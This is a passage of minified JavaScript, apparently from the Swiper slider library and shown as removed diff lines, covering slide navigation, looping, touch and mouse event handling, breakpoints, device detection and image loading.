r.onSlideToWrapperTransitionEnd); - r.$wrapperEl[0].removeEventListener("webkitTransitionEnd", r.onSlideToWrapperTransitionEnd); - r.onSlideToWrapperTransitionEnd = null; - delete r.onSlideToWrapperTransitionEnd; - r.transitionEnd(i, p) - } - } - r.$wrapperEl[0].addEventListener("transitionend", r.onSlideToWrapperTransitionEnd); - r.$wrapperEl[0].addEventListener("webkitTransitionEnd", r.onSlideToWrapperTransitionEnd) - } - } - return true - } - - function V() { - var e = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : 0; - var t = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : this.params.speed; - var i = arguments.length > 2 && arguments[2] !== undefined ? arguments[2] : true; - var n = arguments[3]; - var r = this; - var a = e; - if (r.params.loop) { - a += r.loopedSlides - } - return r.slideTo(a, t, i, n) - } - - function G() { - var e = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : this.params.speed; - var t = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : true; - var i = arguments[2]; - var n = this; - var r = n.params, - a = n.animating; - if (r.loop) { - if (a) return false; - n.loopFix(); - n._clientLeft = n.$wrapperEl[0].clientLeft; - return n.slideTo(n.activeIndex + r.slidesPerGroup, e, t, i) - } - return n.slideTo(n.activeIndex + r.slidesPerGroup, e, t, i) - } - - function U() { - var e = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : this.params.speed; - var t = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : true; - var i = arguments[2]; - var n = this; - var r = n.params, - a = n.animating, - s = n.snapGrid, - o = n.slidesGrid, - l = n.rtlTranslate; - if (r.loop) { - if (a) return false; - n.loopFix(); - n._clientLeft = n.$wrapperEl[0].clientLeft - } - var u = l ? n.translate : -n.translate; - - function d(e) { - if (e < 0) return -Math.floor(Math.abs(e)); - return Math.floor(e) - } - var f = d(u); - var c = s.map(function (e) { - return d(e) - }); - var h = o.map(function (e) { - return d(e) - }); - var m = s[c.indexOf(f)]; - var p = s[c.indexOf(f) - 1]; - var v = void 0; - if (typeof p !== "undefined") { - v = o.indexOf(p); - if (v < 0) v = n.activeIndex - 1 - } - return n.slideTo(v, e, t, i) - } - - function X() { - var e = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : this.params.speed; - var t = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : true; - var i = arguments[2]; - var n = this; - return n.slideTo(n.activeIndex, e, t, i) - } - - function J() { - var e = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : this.params.speed; - var t = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : true; - var i = arguments[2]; - var n = this; - var r = n.activeIndex; - var a = Math.floor(r / n.params.slidesPerGroup); - if (a < n.snapGrid.length - 1) { - var s = n.rtlTranslate ? n.translate : -n.translate; - var o = n.snapGrid[a]; - var l = n.snapGrid[a + 1]; - if (s - o > (l - o) / 2) { - r = n.params.slidesPerGroup - } - } - return n.slideTo(r, e, t, i) - } - - function K() { - var e = this; - var t = e.params, - i = e.$wrapperEl; - var n = t.slidesPerView === "auto" ? e.slidesPerViewDynamic() : t.slidesPerView; - var r = e.clickedIndex; - var a = void 0; - if (t.loop) { - if (e.animating) return; - a = parseInt((0, y.$)(e.clickedSlide).attr("data-swiper-slide-index"), 10); - if (t.centeredSlides) { - if (r < e.loopedSlides - n / 2 || r > e.slides.length - e.loopedSlides + n / 2) { - e.loopFix(); - r = i.children("." + t.slideClass + '[data-swiper-slide-index="' + a + '"]:not(.' + t.slideDuplicateClass + ")").eq(0).index(); - k.nextTick(function () { - e.slideTo(r) - }) - } else { - e.slideTo(r) - } - } else if (r > e.slides.length - n) { - e.loopFix(); - r = i.children("." + t.slideClass + '[data-swiper-slide-index="' + a + '"]:not(.' + t.slideDuplicateClass + ")").eq(0).index(); - k.nextTick(function () { - e.slideTo(r) - }) - } else { - e.slideTo(r) - } - } else { - e.slideTo(r) - } - } - var Q = { - slideTo: $, - slideToLoop: V, - slideNext: G, - slidePrev: U, - slideReset: X, - slideToClosest: J, - slideToClickedSlide: K - }; - - function Z() { - var e = this; - var t = e.params, - i = e.$wrapperEl; - i.children("." + t.slideClass + "." + t.slideDuplicateClass).remove(); - var n = i.children("." + t.slideClass); - if (t.loopFillGroupWithBlank) { - var r = t.slidesPerGroup - n.length % t.slidesPerGroup; - if (r !== t.slidesPerGroup) { - for (var a = 0; a < r; a += 1) { - var s = (0, y.$)(b.document.createElement("div")).addClass(t.slideClass + " " + t.slideBlankClass); - i.append(s) - } - n = i.children("." + t.slideClass) - } - } - if (t.slidesPerView === "auto" && !t.loopedSlides) t.loopedSlides = n.length; - e.loopedSlides = parseInt(t.loopedSlides || t.slidesPerView, 10); - e.loopedSlides += t.loopAdditionalSlides; - if (e.loopedSlides > n.length) { - e.loopedSlides = n.length - } - var o = []; - var l = []; - n.each(function (t, i) { - var r = (0, y.$)(i); - if (t < e.loopedSlides) l.push(i); - if (t < n.length && t >= n.length - e.loopedSlides) o.push(i); - r.attr("data-swiper-slide-index", t) - }); - for (var u = 0; u < l.length; u += 1) { - i.append((0, y.$)(l[u].cloneNode(true)).addClass(t.slideDuplicateClass)) - } - for (var d = o.length - 1; d >= 0; d -= 1) { - i.prepend((0, y.$)(o[d].cloneNode(true)).addClass(t.slideDuplicateClass)) - } - } - - function ee() { - var e = this; - var t = e.params, - i = e.activeIndex, - n = e.slides, - r = e.loopedSlides, - a = e.allowSlidePrev, - s = e.allowSlideNext, - o = e.snapGrid, - l = e.rtlTranslate; - var u = void 0; - e.allowSlidePrev = true; - e.allowSlideNext = true; - var d = -o[i]; - var f = d - e.getTranslate(); - if (i < r) { - u = n.length - r * 3 + i; - u += r; - var c = e.slideTo(u, 0, false, true); - if (c && f !== 0) { - e.setTranslate((l ? -e.translate : e.translate) - f) - } - } else if (t.slidesPerView === "auto" && i >= r * 2 || i >= n.length - r) { - u = -n.length + i + r; - u += r; - var h = e.slideTo(u, 0, false, true); - if (h && f !== 0) { - e.setTranslate((l ? -e.translate : e.translate) - f) - } - } - e.allowSlidePrev = a; - e.allowSlideNext = s - } - - function te() { - var e = this; - var t = e.$wrapperEl, - i = e.params, - n = e.slides; - t.children("." + i.slideClass + "." + i.slideDuplicateClass).remove(); - n.removeAttr("data-swiper-slide-index") - } - var ie = { - loopCreate: Z, - loopFix: ee, - loopDestroy: te - }; - - function ne(e) { - var t = this; - if (L.touch || !t.params.simulateTouch || t.params.watchOverflow && t.isLocked) return; - var i = t.el; - i.style.cursor = "move"; - i.style.cursor = e ? "-webkit-grabbing" : "-webkit-grab"; - i.style.cursor = e ? "-moz-grabbin" : "-moz-grab"; - i.style.cursor = e ? "grabbing" : "grab" - } - - function re() { - var e = this; - if (L.touch || e.params.watchOverflow && e.isLocked) return; - e.el.style.cursor = "" - } - var ae = { - setGrabCursor: ne, - unsetGrabCursor: re - }; - - function se(e) { - var t = this; - var i = t.$wrapperEl, - n = t.params; - if (n.loop) { - t.loopDestroy() - } - if ((typeof e === "undefined" ? "undefined" : (0, v.default)(e)) === "object" && "length" in e) { - for (var r = 0; r < e.length; r += 1) { - if (e[r]) i.append(e[r]) - } - } else { - i.append(e) - } - if (n.loop) { - t.loopCreate() - } - if (!(n.observer && L.observer)) { - t.update() - } - } - - function oe(e) { - var t = this; - var i = t.params, - n = t.$wrapperEl, - r = t.activeIndex; - if (i.loop) { - t.loopDestroy() - } - var a = r + 1; - if ((typeof e === "undefined" ? "undefined" : (0, v.default)(e)) === "object" && "length" in e) { - for (var s = 0; s < e.length; s += 1) { - if (e[s]) n.prepend(e[s]) - } - a = r + e.length - } else { - n.prepend(e) - } - if (i.loop) { - t.loopCreate() - } - if (!(i.observer && L.observer)) { - t.update() - } - t.slideTo(a, 0, false) - } - - function le(e, t) { - var i = this; - var n = i.$wrapperEl, - r = i.params, - a = i.activeIndex; - var s = a; - if (r.loop) { - s -= i.loopedSlides; - i.loopDestroy(); - i.slides = n.children("." + r.slideClass) - } - var o = i.slides.length; - if (e <= 0) { - i.prependSlide(t); - return - } - if (e >= o) { - i.appendSlide(t); - return - } - var l = s > e ? s + 1 : s; - var u = []; - for (var d = o - 1; d >= e; d -= 1) { - var f = i.slides.eq(d); - f.remove(); - u.unshift(f) - } - if ((typeof t === "undefined" ? "undefined" : (0, v.default)(t)) === "object" && "length" in t) { - for (var c = 0; c < t.length; c += 1) { - if (t[c]) n.append(t[c]) - } - l = s > e ? s + t.length : s - } else { - n.append(t) - } - for (var h = 0; h < u.length; h += 1) { - n.append(u[h]) - } - if (r.loop) { - i.loopCreate() - } - if (!(r.observer && L.observer)) { - i.update() - } - if (r.loop) { - i.slideTo(l + i.loopedSlides, 0, false) - } else { - i.slideTo(l, 0, false) - } - } - - function ue(e) { - var t = this; - var i = t.params, - n = t.$wrapperEl, - r = t.activeIndex; - var a = r; - if (i.loop) { - a -= t.loopedSlides; - t.loopDestroy(); - t.slides = n.children("." + i.slideClass) - } - var s = a; - var o = void 0; - if ((typeof e === "undefined" ? "undefined" : (0, v.default)(e)) === "object" && "length" in e) { - for (var l = 0; l < e.length; l += 1) { - o = e[l]; - if (t.slides[o]) t.slides.eq(o).remove(); - if (o < s) s -= 1 - } - s = Math.max(s, 0) - } else { - o = e; - if (t.slides[o]) t.slides.eq(o).remove(); - if (o < s) s -= 1; - s = Math.max(s, 0) - } - if (i.loop) { - t.loopCreate() - } - if (!(i.observer && L.observer)) { - t.update() - } - if (i.loop) { - t.slideTo(s + t.loopedSlides, 0, false) - } else { - t.slideTo(s, 0, false) - } - } - - function de() { - var e = this; - var t = []; - for (var i = 0; i < e.slides.length; i += 1) { - t.push(i) - } - e.removeSlide(t) - } - var fe = { - appendSlide: se, - prependSlide: oe, - addSlide: le, - removeSlide: ue, - removeAllSlides: de - }; - var ce = function e() { - var t = b.window.navigator.userAgent; - var i = { - ios: false, - android: false, - androidChrome: false, - desktop: false, - windows: false, - iphone: false, - ipod: false, - ipad: false, - cordova: b.window.cordova || b.window.phonegap, - phonegap: b.window.cordova || b.window.phonegap - }; - var n = t.match(/(Windows Phone);?[\s\/]+([\d.]+)?/); - var r = t.match(/(Android);?[\s\/]+([\d.]+)?/); - var a = t.match(/(iPad).*OS\s([\d_]+)/); - var s = t.match(/(iPod)(.*OS\s([\d_]+))?/); - var o = !a && t.match(/(iPhone\sOS|iOS)\s([\d_]+)/); - if (n) { - i.os = "windows"; - i.osVersion = n[2]; - i.windows = true - } - if (r && !n) { - i.os = "android"; - i.osVersion = r[2]; - i.android = true; - i.androidChrome = t.toLowerCase().indexOf("chrome") >= 0 - } - if (a || o || s) { - i.os = "ios"; - i.ios = true - } - if (o && !s) { - i.osVersion = o[2].replace(/_/g, "."); - i.iphone = true - } - if (a) { - i.osVersion = a[2].replace(/_/g, "."); - i.ipad = true - } - if (s) { - i.osVersion = s[3] ? s[3].replace(/_/g, ".") : null; - i.iphone = true - } - if (i.ios && i.osVersion && t.indexOf("Version/") >= 0) { - if (i.osVersion.split(".")[0] === "10") { - i.osVersion = t.toLowerCase().split("version/")[1].split(" ")[0] - } - } - i.desktop = !(i.os || i.android || i.webView); - i.webView = (o || a || s) && t.match(/.*AppleWebKit(?!.*Safari)/i); - if (i.os && i.os === "ios") { - var l = i.osVersion.split("."); - var u = b.document.querySelector('meta[name="viewport"]'); - i.minimalUi = !i.webView && (s || o) && (l[0] * 1 === 7 ? l[1] * 1 >= 1 : l[0] * 1 > 7) && u && u.getAttribute("content").indexOf("minimal-ui") >= 0 - } - i.pixelRatio = b.window.devicePixelRatio || 1; - return i - }(); - - function he(e) { - var t = this; - var i = t.touchEventsData; - var n = t.params, - r = t.touches; - if (t.animating && n.preventInteractionOnTransition) { - return - } - var a = e; - if (a.originalEvent) a = a.originalEvent; - i.isTouchEvent = a.type === "touchstart"; - if (!i.isTouchEvent && "which" in a && a.which === 3) return; - if (!i.isTouchEvent && "button" in a && a.button > 0) return; - if (i.isTouched && i.isMoved) return; - if (n.noSwiping && (0, y.$)(a.target).closest(n.noSwipingSelector ? n.noSwipingSelector : "." + n.noSwipingClass)[0]) { - t.allowClick = true; - return - } - if (n.swipeHandler) { - if (!(0, y.$)(a).closest(n.swipeHandler)[0]) return - } - r.currentX = a.type === "touchstart" ? a.targetTouches[0].pageX : a.pageX; - r.currentY = a.type === "touchstart" ? a.targetTouches[0].pageY : a.pageY; - var s = r.currentX; - var o = r.currentY; - var l = n.edgeSwipeDetection || n.iOSEdgeSwipeDetection; - var u = n.edgeSwipeThreshold || n.iOSEdgeSwipeThreshold; - if (l && (s <= u || s >= b.window.screen.width - u)) { - return - } - k.extend(i, { - isTouched: true, - isMoved: false, - allowTouchCallbacks: true, - isScrolling: undefined, - startMoving: undefined - }); - r.startX = s; - r.startY = o; - i.touchStartTime = k.now(); - t.allowClick = true; - t.updateSize(); - t.swipeDirection = undefined; - if (n.threshold > 0) i.allowThresholdMove = false; - if (a.type !== "touchstart") { - var d = true; - if ((0, y.$)(a.target).is(i.formElements)) d = false; - if (b.document.activeElement && (0, y.$)(b.document.activeElement).is(i.formElements) && b.document.activeElement !== a.target) { - b.document.activeElement.blur() - } - if (d && t.allowTouchMove && n.touchStartPreventDefault) { - a.preventDefault() - } - } - t.emit("touchStart", a) - } - - function me(e) { - var t = this; - var i = t.touchEventsData; - var n = t.params, - r = t.touches, - a = t.rtlTranslate; - var s = e; - if (s.originalEvent) s = s.originalEvent; - if (!i.isTouched) { - if (i.startMoving && i.isScrolling) { - t.emit("touchMoveOpposite", s) - } - return - } - if (i.isTouchEvent && s.type === "mousemove") return; - var o = s.type === "touchmove" ? s.targetTouches[0].pageX : s.pageX; - var l = s.type === "touchmove" ? s.targetTouches[0].pageY : s.pageY; - if (s.preventedByNestedSwiper) { - r.startX = o; - r.startY = l; - return - } - if (!t.allowTouchMove) { - t.allowClick = false; - if (i.isTouched) { - k.extend(r, { - startX: o, - startY: l, - currentX: o, - currentY: l - }); - i.touchStartTime = k.now() - } - return - } - if (i.isTouchEvent && n.touchReleaseOnEdges && !n.loop) { - if (t.isVertical()) { - if (l < r.startY && t.translate <= t.maxTranslate() || l > r.startY && t.translate >= t.minTranslate()) { - i.isTouched = false; - i.isMoved = false; - return - } - } else if (o < r.startX && t.translate <= t.maxTranslate() || o > r.startX && t.translate >= t.minTranslate()) { - return - } - } - if (i.isTouchEvent && b.document.activeElement) { - if (s.target === b.document.activeElement && (0, y.$)(s.target).is(i.formElements)) { - i.isMoved = true; - t.allowClick = false; - return - } - } - if (i.allowTouchCallbacks) { - t.emit("touchMove", s) - } - if (s.targetTouches && s.targetTouches.length > 1) return; - r.currentX = o; - r.currentY = l; - var u = r.currentX - r.startX; - var d = r.currentY - r.startY; - if (t.params.threshold && Math.sqrt(Math.pow(u, 2) + Math.pow(d, 2)) < t.params.threshold) return; - if (typeof i.isScrolling === "undefined") { - var f = void 0; - if (t.isHorizontal() && r.currentY === r.startY || t.isVertical() && r.currentX === r.startX) { - i.isScrolling = false - } else { - if (u * u + d * d >= 25) { - f = Math.atan2(Math.abs(d), Math.abs(u)) * 180 / Math.PI; - i.isScrolling = t.isHorizontal() ? f > n.touchAngle : 90 - f > n.touchAngle - } - } - } - if (i.isScrolling) { - t.emit("touchMoveOpposite", s) - } - if (typeof i.startMoving === "undefined") { - if (r.currentX !== r.startX || r.currentY !== r.startY) { - i.startMoving = true - } - } - if (i.isScrolling) { - i.isTouched = false; - return - } - if (!i.startMoving) { - return - } - t.allowClick = false; - s.preventDefault(); - if (n.touchMoveStopPropagation && !n.nested) { - s.stopPropagation() - } - if (!i.isMoved) { - if (n.loop) { - t.loopFix() - } - i.startTranslate = t.getTranslate(); - t.setTransition(0); - if (t.animating) { - t.$wrapperEl.trigger("webkitTransitionEnd transitionend") - } - i.allowMomentumBounce = false; - if (n.grabCursor && (t.allowSlideNext === true || t.allowSlidePrev === true)) { - t.setGrabCursor(true) - } - t.emit("sliderFirstMove", s) - } - t.emit("sliderMove", s); - i.isMoved = true; - var c = t.isHorizontal() ? u : d; - r.diff = c; - c *= n.touchRatio; - if (a) c = -c; - t.swipeDirection = c > 0 ? "prev" : "next"; - i.currentTranslate = c + i.startTranslate; - var h = true; - var m = n.resistanceRatio; - if (n.touchReleaseOnEdges) { - m = 0 - } - if (c > 0 && i.currentTranslate > t.minTranslate()) { - h = false; - if (n.resistance) i.currentTranslate = t.minTranslate() - 1 + Math.pow(-t.minTranslate() + i.startTranslate + c, m) - } else if (c < 0 && i.currentTranslate < t.maxTranslate()) { - h = false; - if (n.resistance) i.currentTranslate = t.maxTranslate() + 1 - Math.pow(t.maxTranslate() - i.startTranslate - c, m) - } - if (h) { - s.preventedByNestedSwiper = true - } - if (!t.allowSlideNext && t.swipeDirection === "next" && i.currentTranslate < i.startTranslate) { - i.currentTranslate = i.startTranslate - } - if (!t.allowSlidePrev && t.swipeDirection === "prev" && i.currentTranslate > i.startTranslate) { - i.currentTranslate = i.startTranslate - } - if (n.threshold > 0) { - if (Math.abs(c) > n.threshold || i.allowThresholdMove) { - if (!i.allowThresholdMove) { - i.allowThresholdMove = true; - r.startX = r.currentX; - r.startY = r.currentY; - i.currentTranslate = i.startTranslate; - r.diff = t.isHorizontal() ? r.currentX - r.startX : r.currentY - r.startY; - return - } - } else { - i.currentTranslate = i.startTranslate; - return - } - } - if (!n.followFinger) return; - if (n.freeMode || n.watchSlidesProgress || n.watchSlidesVisibility) { - t.updateActiveIndex(); - t.updateSlidesClasses() - } - if (n.freeMode) { - if (i.velocities.length === 0) { - i.velocities.push({ - position: r[t.isHorizontal() ? "startX" : "startY"], - time: i.touchStartTime - }) - } - i.velocities.push({ - position: r[t.isHorizontal() ? "currentX" : "currentY"], - time: k.now() - }) - } - t.updateProgress(i.currentTranslate); - t.setTranslate(i.currentTranslate) - } - - function pe(e) { - var t = this; - var i = t.touchEventsData; - var n = t.params, - r = t.touches, - a = t.rtlTranslate, - s = t.$wrapperEl, - o = t.slidesGrid, - l = t.snapGrid; - var u = e; - if (u.originalEvent) u = u.originalEvent; - if (i.allowTouchCallbacks) { - t.emit("touchEnd", u) - } - i.allowTouchCallbacks = false; - if (!i.isTouched) { - if (i.isMoved && n.grabCursor) { - t.setGrabCursor(false) - } - i.isMoved = false; - i.startMoving = false; - return - } - if (n.grabCursor && i.isMoved && i.isTouched && (t.allowSlideNext === true || t.allowSlidePrev === true)) { - t.setGrabCursor(false) - } - var d = k.now(); - var f = d - i.touchStartTime; - if (t.allowClick) { - t.updateClickedSlide(u); - t.emit("tap", u); - if (f < 300 && d - i.lastClickTime > 300) { - if (i.clickTimeout) clearTimeout(i.clickTimeout); - i.clickTimeout = k.nextTick(function () { - if (!t || t.destroyed) return; - t.emit("click", u) - }, 300) - } - if (f < 300 && d - i.lastClickTime < 300) { - if (i.clickTimeout) clearTimeout(i.clickTimeout); - t.emit("doubleTap", u) - } - } - i.lastClickTime = k.now(); - k.nextTick(function () { - if (!t.destroyed) t.allowClick = true - }); - if (!i.isTouched || !i.isMoved || !t.swipeDirection || r.diff === 0 || i.currentTranslate === i.startTranslate) { - i.isTouched = false; - i.isMoved = false; - i.startMoving = false; - return - } - i.isTouched = false; - i.isMoved = false; - i.startMoving = false; - var c = void 0; - if (n.followFinger) { - c = a ? t.translate : -t.translate - } else { - c = -i.currentTranslate - } - if (n.freeMode) { - if (c < -t.minTranslate()) { - t.slideTo(t.activeIndex); - return - } - if (c > -t.maxTranslate()) { - if (t.slides.length < l.length) { - t.slideTo(l.length - 1) - } else { - t.slideTo(t.slides.length - 1) - } - return - } - if (n.freeModeMomentum) { - if (i.velocities.length > 1) { - var h = i.velocities.pop(); - var m = i.velocities.pop(); - var p = h.position - m.position; - var v = h.time - m.time; - t.velocity = p / v; - t.velocity /= 2; - if (Math.abs(t.velocity) < n.freeModeMinimumVelocity) { - t.velocity = 0 - } - if (v > 150 || k.now() - h.time > 300) { - t.velocity = 0 - } - } else { - t.velocity = 0 - } - t.velocity *= n.freeModeMomentumVelocityRatio; - i.velocities.length = 0; - var _ = 1e3 * n.freeModeMomentumRatio; - var g = t.velocity * _; - var y = t.translate + g; - if (a) y = -y; - var b = false; - var w = void 0; - var M = Math.abs(t.velocity) * 20 * n.freeModeMomentumBounceRatio; - var L = void 0; - if (y < t.maxTranslate()) { - if (n.freeModeMomentumBounce) { - if (y + t.maxTranslate() < -M) { - y = t.maxTranslate() - M - } - w = t.maxTranslate(); - b = true; - i.allowMomentumBounce = true - } else { - y = t.maxTranslate() - } - if (n.loop && n.centeredSlides) L = true - } else if (y > t.minTranslate()) { - if (n.freeModeMomentumBounce) { - if (y - t.minTranslate() > M) { - y = t.minTranslate() + M - } - w = t.minTranslate(); - b = true; - i.allowMomentumBounce = true - } else { - y = t.minTranslate() - } - if (n.loop && n.centeredSlides) L = true - } else if (n.freeModeSticky) { - var T = void 0; - for (var x = 0; x < l.length; x += 1) { - if (l[x] > -y) { - T = x; - break - } - } - if (Math.abs(l[T] - y) < Math.abs(l[T - 1] - y) || t.swipeDirection === "next") { - y = l[T] - } else { - y = l[T - 1] - } - y = -y - } - if (L) { - t.once("transitionEnd", function () { - t.loopFix() - }) - } - if (t.velocity !== 0) { - if (a) { - _ = Math.abs((-y - t.translate) / t.velocity) - } else { - _ = Math.abs((y - t.translate) / t.velocity) - } - } else if (n.freeModeSticky) { - t.slideToClosest(); - return - } - if (n.freeModeMomentumBounce && b) { - t.updateProgress(w); - t.setTransition(_); - t.setTranslate(y); - t.transitionStart(true, t.swipeDirection); - t.animating = true; - s.transitionEnd(function () { - if (!t || t.destroyed || !i.allowMomentumBounce) return; - t.emit("momentumBounce"); - t.setTransition(n.speed); - t.setTranslate(w); - s.transitionEnd(function () { - if (!t || t.destroyed) return; - t.transitionEnd() - }) - }) - } else if (t.velocity) { - t.updateProgress(y); - t.setTransition(_); - t.setTranslate(y); - t.transitionStart(true, t.swipeDirection); - if (!t.animating) { - t.animating = true; - s.transitionEnd(function () { - if (!t || t.destroyed) return; - t.transitionEnd() - }) - } - } else { - t.updateProgress(y) - } - t.updateActiveIndex(); - t.updateSlidesClasses() - } else if (n.freeModeSticky) { - t.slideToClosest(); - return - } - if (!n.freeModeMomentum || f >= n.longSwipesMs) { - t.updateProgress(); - t.updateActiveIndex(); - t.updateSlidesClasses() - } - return - } - var S = 0; - var Y = t.slidesSizesGrid[0]; - for (var D = 0; D < o.length; D += n.slidesPerGroup) { - if (typeof o[D + n.slidesPerGroup] !== "undefined") { - if (c >= o[D] && c < o[D + n.slidesPerGroup]) { - S = D; - Y = o[D + n.slidesPerGroup] - o[D] - } - } else if (c >= o[D]) { - S = D; - Y = o[o.length - 1] - o[o.length - 2] - } - } - var E = (c - o[S]) / Y; - if (f > n.longSwipesMs) { - if (!n.longSwipes) { - t.slideTo(t.activeIndex); - return - } - if (t.swipeDirection === "next") { - if (E >= n.longSwipesRatio) t.slideTo(S + n.slidesPerGroup); - else t.slideTo(S) - } - if (t.swipeDirection === "prev") { - if (E > 1 - n.longSwipesRatio) t.slideTo(S + n.slidesPerGroup); - else t.slideTo(S) - } - } else { - if (!n.shortSwipes) { - t.slideTo(t.activeIndex); - return - } - if (t.swipeDirection === "next") { - t.slideTo(S + n.slidesPerGroup) - } - if (t.swipeDirection === "prev") { - t.slideTo(S) - } - } - } - - function ve() { - var e = this; - var t = e.params, - i = e.el; - if (i && i.offsetWidth === 0) return; - if (t.breakpoints) { - e.setBreakpoint() - } - var n = e.allowSlideNext, - r = e.allowSlidePrev, - a = e.snapGrid; - e.allowSlideNext = true; - e.allowSlidePrev = true; - e.updateSize(); - e.updateSlides(); - if (t.freeMode) { - var s = Math.min(Math.max(e.translate, e.maxTranslate()), e.minTranslate()); - e.setTranslate(s); - e.updateActiveIndex(); - e.updateSlidesClasses(); - if (t.autoHeight) { - e.updateAutoHeight() - } - } else { - e.updateSlidesClasses(); - if ((t.slidesPerView === "auto" || t.slidesPerView > 1) && e.isEnd && !e.params.centeredSlides) { - e.slideTo(e.slides.length - 1, 0, false, true) - } else { - e.slideTo(e.activeIndex, 0, false, true) - } - } - e.allowSlidePrev = r; - e.allowSlideNext = n; - if (e.params.watchOverflow && a !== e.snapGrid) { - e.checkOverflow() - } - } - - function _e(e) { - var t = this; - if (!t.allowClick) { - if (t.params.preventClicks) e.preventDefault(); - if (t.params.preventClicksPropagation && t.animating) { - e.stopPropagation(); - e.stopImmediatePropagation() - } - } - } - - function ge() { - var e = this; - var t = e.params, - i = e.touchEvents, - n = e.el, - r = e.wrapperEl; { - e.onTouchStart = he.bind(e); - e.onTouchMove = me.bind(e); - e.onTouchEnd = pe.bind(e) - } - e.onClick = _e.bind(e); - var a = t.touchEventsTarget === "container" ? n : r; - var s = !!t.nested; { - if (!L.touch && (L.pointerEvents || L.prefixedPointerEvents)) { - a.addEventListener(i.start, e.onTouchStart, false); - b.document.addEventListener(i.move, e.onTouchMove, s); - b.document.addEventListener(i.end, e.onTouchEnd, false) - } else { - if (L.touch) { - var o = i.start === "touchstart" && L.passiveListener && t.passiveListeners ? { - passive: true, - capture: false - } : false; - a.addEventListener(i.start, e.onTouchStart, o); - a.addEventListener(i.move, e.onTouchMove, L.passiveListener ? { - passive: false, - capture: s - } : s); - a.addEventListener(i.end, e.onTouchEnd, o) - } - if (t.simulateTouch && !ce.ios && !ce.android || t.simulateTouch && !L.touch && ce.ios) { - a.addEventListener("mousedown", e.onTouchStart, false); - b.document.addEventListener("mousemove", e.onTouchMove, s); - b.document.addEventListener("mouseup", e.onTouchEnd, false) - } - } - if (t.preventClicks || t.preventClicksPropagation) { - a.addEventListener("click", e.onClick, true) - } - } - e.on(ce.ios || ce.android ? "resize orientationchange observerUpdate" : "resize observerUpdate", ve, true) - } - - function ye() { - var e = this; - var t = e.params, - i = e.touchEvents, - n = e.el, - r = e.wrapperEl; - var a = t.touchEventsTarget === "container" ? n : r; - var s = !!t.nested; { - if (!L.touch && (L.pointerEvents || L.prefixedPointerEvents)) { - a.removeEventListener(i.start, e.onTouchStart, false); - b.document.removeEventListener(i.move, e.onTouchMove, s); - b.document.removeEventListener(i.end, e.onTouchEnd, false) - } else { - if (L.touch) { - var o = i.start === "onTouchStart" && L.passiveListener && t.passiveListeners ? { - passive: true, - capture: false - } : false; - a.removeEventListener(i.start, e.onTouchStart, o); - a.removeEventListener(i.move, e.onTouchMove, s); - a.removeEventListener(i.end, e.onTouchEnd, o) - } - if (t.simulateTouch && !ce.ios && !ce.android || t.simulateTouch && !L.touch && ce.ios) { - a.removeEventListener("mousedown", e.onTouchStart, false); - b.document.removeEventListener("mousemove", e.onTouchMove, s); - b.document.removeEventListener("mouseup", e.onTouchEnd, false) - } - } - if (t.preventClicks || t.preventClicksPropagation) { - a.removeEventListener("click", e.onClick, true) - } - } - e.off(ce.ios || ce.android ? "resize orientationchange observerUpdate" : "resize observerUpdate", ve) - } - var be = { - attachEvents: ge, - detachEvents: ye - }; - - function we() { - var e = this; - var t = e.activeIndex, - i = e.initialized, - n = e.loopedSlides, - r = n === undefined ? 0 : n, - a = e.params; - var s = a.breakpoints; - if (!s || s && (0, g.default)(s).length === 0) return; - var o = e.getBreakpoint(s); - if (o && e.currentBreakpoint !== o) { - var l = o in s ? s[o] : e.originalParams; - var u = a.loop && l.slidesPerView !== a.slidesPerView; - k.extend(e.params, l); - k.extend(e, { - allowTouchMove: e.params.allowTouchMove, - allowSlideNext: e.params.allowSlideNext, - allowSlidePrev: e.params.allowSlidePrev - }); - e.currentBreakpoint = o; - if (u && i) { - e.loopDestroy(); - e.loopCreate(); - e.updateSlides(); - e.slideTo(t - r + e.loopedSlides, 0, false) - } - e.emit("breakpoint", l) - } - } - - function Me(e) { - var t = this; - if (!e) return undefined; - var i = false; - var n = []; - (0, g.default)(e).forEach(function (e) { - n.push(e) - }); - n.sort(function (e, t) { - return parseInt(e, 10) - parseInt(t, 10) - }); - for (var r = 0; r < n.length; r += 1) { - var a = n[r]; - if (t.params.breakpointsInverse) { - if (a <= b.window.innerWidth) { - i = a - } - } else if (a >= b.window.innerWidth && !i) { - i = a - } - } - return i || "max" - } - var ke = { - setBreakpoint: we, - getBreakpoint: Me - }; - var Le = function e() { - function t() { - var e = b.window.navigator.userAgent.toLowerCase(); - return e.indexOf("safari") >= 0 && e.indexOf("chrome") < 0 && e.indexOf("android") < 0 - } - return { - isIE: !!b.window.navigator.userAgent.match(/Trident/g) || !!b.window.navigator.userAgent.match(/MSIE/g), - isEdge: !!b.window.navigator.userAgent.match(/Edge/g), - isSafari: t(), - isUiWebView: /(iPhone|iPod|iPad).*AppleWebKit(?!.*Safari)/i.test(b.window.navigator.userAgent) - } - }(); - - function Te() { - var e = this; - var t = e.classNames, - i = e.params, - n = e.rtl, - r = e.$el; - var a = []; - a.push(i.direction); - if (i.freeMode) { - a.push("free-mode") - } - if (!L.flexbox) { - a.push("no-flexbox") - } - if (i.autoHeight) { - a.push("autoheight") - } - if (n) { - a.push("rtl") - } - if (i.slidesPerColumn > 1) { - a.push("multirow") - } - if (ce.android) { - a.push("android") - } - if (ce.ios) { - a.push("ios") - } - if ((Le.isIE || Le.isEdge) && (L.pointerEvents || L.prefixedPointerEvents)) { - a.push("wp8-" + i.direction) - } - a.forEach(function (e) { - t.push(i.containerModifierClass + e) - }); - r.addClass(t.join(" ")) - } - - function xe() { - var e = this; - var t = e.$el, - i = e.classNames; - t.removeClass(i.join(" ")) - } - var Se = { - addClasses: Te, - removeClasses: xe - }; - - function Ye(e, t, i, n, r, a) { - var s = void 0; - - function o() { - if (a) a() - } - if (!e.complete || !r) { - if (t) { - s = new b.window.Image; - s.onload = o; - s.onerror = o; - if (n) { - s.sizes = n - } - if (i) { - s.srcset = i - } - if (t) { - s.src = t - } - } else { - o() - } - } else { - o() - } - } - - 